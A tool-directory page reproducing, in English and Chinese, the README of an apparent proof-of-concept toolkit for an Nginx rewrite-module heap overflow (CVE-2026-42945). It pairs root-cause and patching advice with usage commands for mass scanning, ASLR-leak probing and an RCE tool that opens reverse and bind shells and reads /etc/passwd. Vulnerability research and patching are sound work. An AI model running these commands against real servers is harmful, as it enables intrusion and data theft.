Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-42945 — CVE-2026-42945 Nginx Rift | Kitploit
Tools/GitHubGitHub/liaoziqi-gzfls/cve-2026-42945
ReconnaissanceVulnerability AnalysisExploitationInformation GatheringWeb SecurityFuzzingPenetration TestingPayload DevelopmentBinary Exploitation
GitHubliaoziqi-gzfls/cve-2026-42945

CVE-2026-42945

CVE-2026-42945 Nginx Rift

173 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
View Repository

CVE-2026-42945 Nginx Rift - PoC Toolkit

A comprehensive proof-of-concept toolkit for CVE-2026-42945 (Nginx Rift), a critical heap buffer overflow vulnerability in Nginx's ngx_http_rewrite_module.


Vulnerability Summary

FieldDetails
CVE IDCVE-2026-42945
NameNginx Rift
TypeHeap Buffer Overflow
Componentngx_http_rewrite_module
SeverityCritical (CVSS 9.2)
AffectedNginx 0.6.27 - 1.30.0
PatchedNginx 1.30.1 / 1.31.0

Root Cause

The vulnerability exists due to a size miscalculation between two internal passes when processing rewrite rules. If a configuration uses:

  • Unnamed regex captures ($1, $2, etc.)
  • Combined with a replacement string containing ?

Nginx miscalculates the required buffer size during the first pass and writes beyond the allocated heap buffer during the second pass.

Example Vulnerable Configuration

root@kitploit:~
server {
    # VULNERABLE: Unnamed capture ($1) + '?' in replacement
    location /api/ {
        rewrite ^/api/(.*)$ /v1/$1?version=2 last;
    }
}

Safe Configuration (Patched)

root@kitploit:~
server {
    # SAFE: Named capture (?P<path>) replaces $1
    location /api/ {
        rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;
    }
}

Toolkit Components

1. nginx_rift_poc.py - Core PoC Tool

Single-target vulnerability scanner and exploitation tool.

Features:

  • Detect Nginx version from Server header
  • Check if version is in the vulnerable range
  • Send crafted HTTP payloads to trigger heap overflow
  • Generate vulnerable/safe test configurations

Usage:

root@kitploit:~
# Detect version and test vulnerability
python nginx_rift_poc.py -t target.example.com

# Test with custom payload
python nginx_rift_poc.py -t target.example.com -p "/api/AAAA...?x=1"

# HTTPS target
python nginx_rift_poc.py -t target.example.com --ssl -p 443

# Generate vulnerable test configuration
python nginx_rift_poc.py --gen-vuln-config > vuln.conf

# Generate safe (patched) configuration
python nginx_rift_poc.py --gen-safe-config > safe.conf

2. nginx_rift_scanner.py - Mass Scanner

Batch scanner for testing multiple targets concurrently.

Features:

  • Multi-threaded scanning (default 50 threads)
  • Target list from file or CIDR network range
  • JSON output for integration
  • Automatic SSL detection for port 443

Usage:

root@kitploit:~
# Scan from target file (format: host:port per line)
python nginx_rift_scanner.py -f targets.txt -o results.json

# Scan single target
python nginx_rift_scanner.py -t example.com -p 443 --ssl

# Scan network range
python nginx_rift_scanner.py -t 192.168.1.0/24 -p 80,443,8080

# High-speed scan
python nginx_rift_scanner.py -f targets.txt --threads 100 -o results.json

Target file format:

root@kitploit:~
# Comments start with #
192.168.1.1:80
192.168.1.2:443:ssl
example.com:8080

3. config_checker.py - Configuration Analyzer

Scan local Nginx configuration files for vulnerable rewrite patterns.

Features:

  • Parse nginx.conf and follow include directives
  • Detect unnamed captures with ? in replacement strings
  • Auto-fix support (with backup)
  • Recursive directory scanning

Usage:

root@kitploit:~
# Scan single file
python config_checker.py /etc/nginx/nginx.conf

# Scan directory recursively
python config_checker.py -d /etc/nginx/conf.d/

# Auto-fix vulnerable patterns (creates .bak backup)
python config_checker.py --fix /etc/nginx/nginx.conf

# Auto-detect common Nginx paths
python config_checker.py

4. enhanced_poc.py - Enhanced RCE PoC

Advanced exploit tool based on depthfirst's official research, supporting multiple rewrite patterns and exploit modes.

Features:

  • Auto-detect 8 common vulnerable rewrite patterns (/api/, /redirect/, /user/, etc.)
  • Support multiple overflow trigger characters (+, &, =, %)
  • Smart payload generation with controlled overflow size
  • Multiple exploit modes: cmd / shell / bind / read
  • Custom heap/libc base addresses for ASLR-off environments
  • Dynamic spray body construction with fake ngx_pool_cleanup_s

Usage:

root@kitploit:~
# Auto-detect patterns and version
python enhanced_poc.py -t target.example.com --detect

# Execute command (ASLR off)
python enhanced_poc.py -t target.example.com --cmd "id > /tmp/pwned"

# Reverse shell
python enhanced_poc.py -t target.example.com --shell --listen-ip 10.0.0.1 --listen-port 4444

# Bind shell
python enhanced_poc.py -t target.example.com --bind --listen-port 5555

# Read remote file
python enhanced_poc.py -t target.example.com --read /etc/passwd

# Custom heap base (for ASLR-off targets)
python enhanced_poc.py -t target.example.com --cmd "whoami" --heap-base 0x555555554000

# Use & as overflow trigger
python enhanced_poc.py -t target.example.com --cmd "id" --escape-char "&"

Exploit Mode Details:

Address Configuration (ASLR-off only):

  • --heap-base: Target heap base (e.g., 0x555555559000)
  • --libc-base: libc base address (e.g., 0x7ffff77ba000)
  • --system-addr: Direct system() address (overrides libc-base)

5. aslr_leak_detector.py - ASLR Leak Detector

Comprehensive scanner for detecting information leaks that can bypass ASLR protection.

Features:

  • HTTP header leak detection (Server, X-Powered-By, etc.)
  • Error page analysis for memory addresses and stack traces
  • Nginx-specific endpoint probing (/nginx_status, /actuator/*, etc.)
  • Memory address leak detection (64-bit pointers, heap/libc/stack addresses)
  • Heap layout probing via timing analysis
  • ASLR status inference (enabled/disabled/weak)
  • Direct integration with enhanced_poc.py via JSON report

Usage:

root@kitploit:~
# Scan single target
python aslr_leak_detector.py -t target.example.com

# Scan with SSL
python aslr_leak_detector.py -t target.example.com -p 443 --ssl

# Scan from file, save report
python aslr_leak_detector.py -f targets.txt -p 80,443 -o leak_report.json

# Scan network range
python aslr_leak_detector.py -t 192.168.1.0/24 -p 80,443

# Quick scan mode
python aslr_leak_detector.py -t target.example.com --quick

Integration with Enhanced PoC:

root@kitploit:~
# Step 1: Detect leaks
python aslr_leak_detector.py -t target.example.com -o leak.json

# Step 2: Use leaked addresses for exploit
python enhanced_poc.py -t target.example.com \
  --heap-base 0x555555559000 \
  --libc-base 0x7ffff77ba000 \
  --cmd "id"

Vulnerability Detection Indicators

The PoC tool identifies vulnerability through these indicators:

IndicatorDescription
Connection droppedTarget closes connection unexpectedly (worker crash)

Installation

No external dependencies required. Uses only Python standard library.

root@kitploit:~
# Clone or download the toolkit
git clone <repository-url>
cd CVE-2026-42945

# Verify Python version (3.7+ recommended)
python3 --version

# Run any tool
python3 nginx_rift_poc.py --help

Affected Versions


Mitigation

Immediate Actions

  1. Patch Nginx to version 1.30.1 (stable) or 1.31.0 (mainline)
  2. Audit configurations for vulnerable rewrite patterns
  3. Enable ASLR on all hosts running Nginx worker processes

Configuration Workaround

If patching is not immediately possible, replace unnamed captures with named captures:

root@kitploit:~
# BEFORE (VULNERABLE)
rewrite ^/api/(.*)$ /v1/$1?version=2 last;

# AFTER (SAFE)
rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;

WAF Virtual Patching

Deploy WAF rules to block malformed requests targeting vulnerable rewrite patterns.


Disclaimer

This toolkit is for authorized security testing and research purposes only.

  • Only use against systems you own or have explicit permission to test
  • Unauthorized access to computer systems is illegal
  • The authors are not responsible for misuse or damage caused by this tool
  • Always test in isolated environments before production use

Related CVEs

This flaw was discovered alongside three other memory-corruption issues:

CVEDescriptionSeverity
CVE-2026-42946SCGI/UWSGI memory allocation flawHigh
CVE-2026-40701Use-after-free in DNS resolution for OCSPMedium
CVE-2026-42934UTF-8 parsing out-of-bounds readMedium

References

  • F5 Security Advisory
  • Nginx Security
  • CVE-2026-42945 Details

License

This project is provided for educational and authorized security testing purposes.


Author: Security Research Team Date: 2026-06-11


中文说明 (Chinese Documentation)

漏洞概述

CVE-2026-42945(Nginx Rift)是 Nginx ngx_http_rewrite_module 模块中的一个堆缓冲区溢出漏洞,自 2008 年(Nginx 0.6.27)就已存在,潜伏了约 18 年。

漏洞原理

在处理 rewrite 规则时,Nginx 内部会进行两次解析。如果配置中同时满足以下两个条件:

  1. 使用未命名正则捕获(如 $1、$2)
  2. 替换字符串中包含 ? 字符

Nginx 在第一遍解析时会错误计算缓冲区大小,在第二遍解析时写入超出堆缓冲区边界的数据,导致堆溢出。

脆弱配置示例(有漏洞)

root@kitploit:~
server {
    # 有漏洞:未命名捕获 $1 + 替换字符串中的 ?
    location /api/ {
        rewrite ^/api/(.*)$ /v1/$1?version=2 last;
    }
}

安全配置示例(已修复)

root@kitploit:~
server {
    # 安全:使用命名捕获 (?P<name>) 替代 $1
    location /api/ {
        rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;
    }
}

工具组件说明

1. nginx_rift_poc.py — 核心 PoC 工具

单目标漏洞检测与利用工具。

功能:

  • 从 Server 响应头检测 Nginx 版本
  • 判断版本是否在脆弱范围内
  • 发送精心构造的 HTTP 请求触发堆溢出
  • 生成用于测试的脆弱/安全配置

使用示例:

root@kitploit:~
# 检测版本并测试漏洞
python nginx_rift_poc.py -t target.example.com

# 使用自定义 Payload 测试
python nginx_rift_poc.py -t target.example.com -p "/api/AAAA...?x=1"

# HTTPS 目标
python nginx_rift_poc.py -t target.example.com --ssl -p 443

# 生成脆弱测试配置
python nginx_rift_poc.py --gen-vuln-config > vuln.conf

# 生成安全(已修复)配置
python nginx_rift_poc.py --gen-safe-config > safe.conf

2. nginx_rift_scanner.py — 批量扫描器

多线程并发扫描多个目标。

功能:

  • 默认 50 线程并发扫描
  • 支持从文件或 CIDR 网段读取目标
  • JSON 格式输出结果
  • 自动识别 443 端口的 SSL 连接

使用示例:

root@kitploit:~
# 从目标文件扫描(格式:每行 host:port)
python nginx_rift_scanner.py -f targets.txt -o results.json

# 扫描单个目标
python nginx_rift_scanner.py -t example.com -p 443 --ssl

# 扫描整个网段
python nginx_rift_scanner.py -t 192.168.1.0/24 -p 80,443,8080

# 高速扫描(100线程)
python nginx_rift_scanner.py -f targets.txt --threads 100 -o results.json

目标文件格式:

root@kitploit:~
# 井号开头的行为注释
192.168.1.1:80
192.168.1.2:443:ssl
example.com:8080

3. config_checker.py — 配置文件检查器

扫描本地 Nginx 配置文件中的脆弱 rewrite 模式。

功能:

  • 解析 nginx.conf 并递归解析 include 引用的文件
  • 检测包含未命名捕获 + ? 的 rewrite 指令
  • 支持自动修复(自动创建 .bak 备份)
  • 递归扫描目录

使用示例:

root@kitploit:~
# 扫描单个文件
python config_checker.py /etc/nginx/nginx.conf

# 递归扫描目录
python config_checker.py -d /etc/nginx/conf.d/

# 自动修复脆弱配置(自动备份原文件)
python config_checker.py --fix /etc/nginx/nginx.conf

# 自动探测常见 Nginx 配置路径
python config_checker.py

4. enhanced_poc.py — 增强版 RCE PoC

基于 depthfirst 官方研究的高级漏洞利用工具,支持多种 rewrite 模式和利用方式。

功能:

  • 自动探测 8 种常见脆弱 rewrite 模式(/api/、/redirect/、/user/ 等)
  • 支持多种溢出触发字符(+、&、=、%)
  • 智能 payload 生成,精确控制溢出大小
  • 多种利用模式:cmd / shell / bind / read
  • 自定义堆/libc 基址(用于 ASLR 关闭环境)
  • 动态构造 spray body,包含 fake ngx_pool_cleanup_s

溢出触发字符扩展表:

使用示例:

root@kitploit:~
# 自动探测配置模式和版本
python enhanced_poc.py -t target.example.com --detect

# 执行命令(ASLR 关闭环境)
python enhanced_poc.py -t target.example.com --cmd "id > /tmp/pwned"

# 反弹 Shell
python enhanced_poc.py -t target.example.com --shell --listen-ip 10.0.0.1 --listen-port 4444

# 绑定 Shell(在目标上监听)
python enhanced_poc.py -t target.example.com --bind --listen-port 5555

# 读取远程文件
python enhanced_poc.py -t target.example.com --read /etc/passwd

# 自定义堆基址
python enhanced_poc.py -t target.example.com --cmd "whoami" --heap-base 0x555555554000

# 使用 & 作为溢出触发字符
python enhanced_poc.py -t target.example.com --cmd "id" --escape-char "&"

利用模式说明:

地址配置(仅 ASLR 关闭环境):

  • --heap-base: 目标堆基址(如 0x555555559000)
  • --libc-base: libc 基址(如 0x7ffff77ba000)
  • --system-addr: 直接指定 system() 地址

5. aslr_leak_detector.py — ASLR 信息泄露检测工具

综合扫描器,检测可用于绕过 ASLR 防护的信息泄露漏洞。

功能:

  • HTTP 响应头泄露检测(Server、X-Powered-By 等)
  • 错误页面分析(内存地址、堆栈跟踪)
  • Nginx 特定端点探测(/nginx_status、/actuator/* 等)
  • 内存地址泄露检测(64位指针、堆/libc/栈地址)
  • 堆布局探测(通过响应时间差异推断内存状态)
  • ASLR 状态推断(开启/关闭/弱)
  • 通过 JSON 报告直接与 enhanced_poc.py 集成

使用示例:

root@kitploit:~
# 扫描单个目标
python aslr_leak_detector.py -t target.example.com

# SSL 扫描
python aslr_leak_detector.py -t target.example.com -p 443 --ssl

# 从文件批量扫描并保存报告
python aslr_leak_detector.py -f targets.txt -p 80,443 -o leak_report.json

# 扫描网段
python aslr_leak_detector.py -t 192.168.1.0/24 -p 80,443

# 快速扫描
python aslr_leak_detector.py -t target.example.com --quick

与增强版 PoC 的联动使用:

root@kitploit:~
# 步骤 1:检测信息泄露
python aslr_leak_detector.py -t target.example.com -o leak.json

# 步骤 2:使用泄露的地址进行利用
python enhanced_poc.py -t target.example.com \
  --heap-base 0x555555559000 \
  --libc-base 0x7ffff77ba000 \
  --cmd "id"

漏洞检测指标

PoC 工具通过以下现象判断目标是否存在漏洞:

检测指标说明
连接断开目标异常关闭连接(Worker 进程崩溃)
网关错误返回 HTTP 502/503/504(Worker 进程已死)
响应变慢响应时间显著增加(进程崩溃后自动重启)
空响应体

安装方法

无需安装任何第三方依赖,仅使用 Python 标准库即可运行。

root@kitploit:~
# 克隆或下载工具包
git clone <repository-url>
cd CVE-2026-42945

# 验证 Python 版本(推荐 3.7+)
python3 --version

# 查看工具帮助
python3 nginx_rift_poc.py --help

影响版本


缓解措施

紧急处置建议

  1. 立即升级 Nginx 到 1.30.1(稳定版)或 1.31.0(主线版)
  2. 审计配置文件 中是否存在脆弱的 rewrite 模式
  3. 开启 ASLR 地址空间布局随机化,增加 RCE 利用难度

临时缓解方案(无法立即升级时)

将未命名捕获替换为命名捕获:

root@kitploit:~
# 修改前(有漏洞)
rewrite ^/api/(.*)$ /v1/$1?version=2 last;

# 修改后(安全)
rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;

WAF 虚拟补丁

部署 Web 应用防火墙规则,拦截针对脆弱 rewrite 模式的恶意请求。


免责声明

本工具包仅供授权的安全测试和研究用途。

  • 仅对您拥有所有权或已获得明确授权的系统使用本工具
  • 未经授权访问计算机系统是违法行为
  • 作者不对本工具的滥用或造成的损害承担责任
  • 请始终在隔离环境中测试后再用于生产环境

相关漏洞

此漏洞是由 depthfirst 的 AI 驱动静态分析系统发现的一系列内存损坏问题之一:

CVE 编号描述等级
CVE-2026-42946SCGI/UWSGI 内存分配缺陷高危
CVE-2026-40701OCSP DNS 解析 UAF中危
CVE-2026-42934UTF-8 解析越界读取中危

参考链接

  • F5 安全公告
  • Nginx 安全公告
  • CVE-2026-42945 详情
  • SonicWall 技术分析
  • Cloud Security Alliance 研究报告

开源协议

本项目仅供教育用途和授权安全测试使用。


作者: Security Research Team 日期: 2026-06-11

Download Tool
ModeDescriptionOutput
cmdExecute single shell commandCommand output on target
shellSpawn reverse shellConnects back to --listen-ip:listen-port
bindSpawn bind shell on targetListen on --listen-port at target
readRead file from targetContent written to /tmp/nginx_rift_read
Gateway errorsHTTP 502/503/504 responses (worker process died)
Slow responsesResponse time significantly increases (crash recovery)
Empty responsesResponse body disappears compared to baseline
Version matchDetected Nginx version is in vulnerable range
ProductAffectedPatched
Nginx Open Source0.6.27 - 1.30.01.30.1 / 1.31.0
Nginx PlusR32 - R36R32 P6 / R36 P4
Nginx Ingress ControllerAll versions < patchesUpdate to patched release
Nginx Gateway FabricAll versions < patchesUpdate to patched release
字段详情
CVE 编号CVE-2026-42945
漏洞名称Nginx Rift
漏洞类型堆缓冲区溢出(Heap Buffer Overflow)
影响组件ngx_http_rewrite_module
危害等级严重(CVSS 9.2)
影响版本Nginx 0.6.27 - 1.30.0
修复版本Nginx 1.30.1 / 1.31.0
字符扩展为每字符溢出
+%2B+2 字节
&%26+2 字节
=%3D+2 字节
%%25+2 字节
空格%20+2 字节
模式说明输出
cmd执行单条 shell 命令命令输出保存在目标上
shell生成反弹 shell连接回 --listen-ip:listen-port
bind生成绑定 shell在目标 --listen-port 上监听
read读取目标文件内容写入 /tmp/nginx_rift_read
与基线对比,响应体为空(Worker 已崩溃)
版本匹配检测到的 Nginx 版本在脆弱范围内
产品受影响版本修复版本
Nginx 开源版0.6.27 - 1.30.01.30.1 / 1.31.0
Nginx PlusR32 - R36R32 P6 / R36 P4
Nginx Ingress Controller未打补丁的所有版本更新到已修复版本
Nginx Gateway Fabric未打补丁的所有版本更新到已修复版本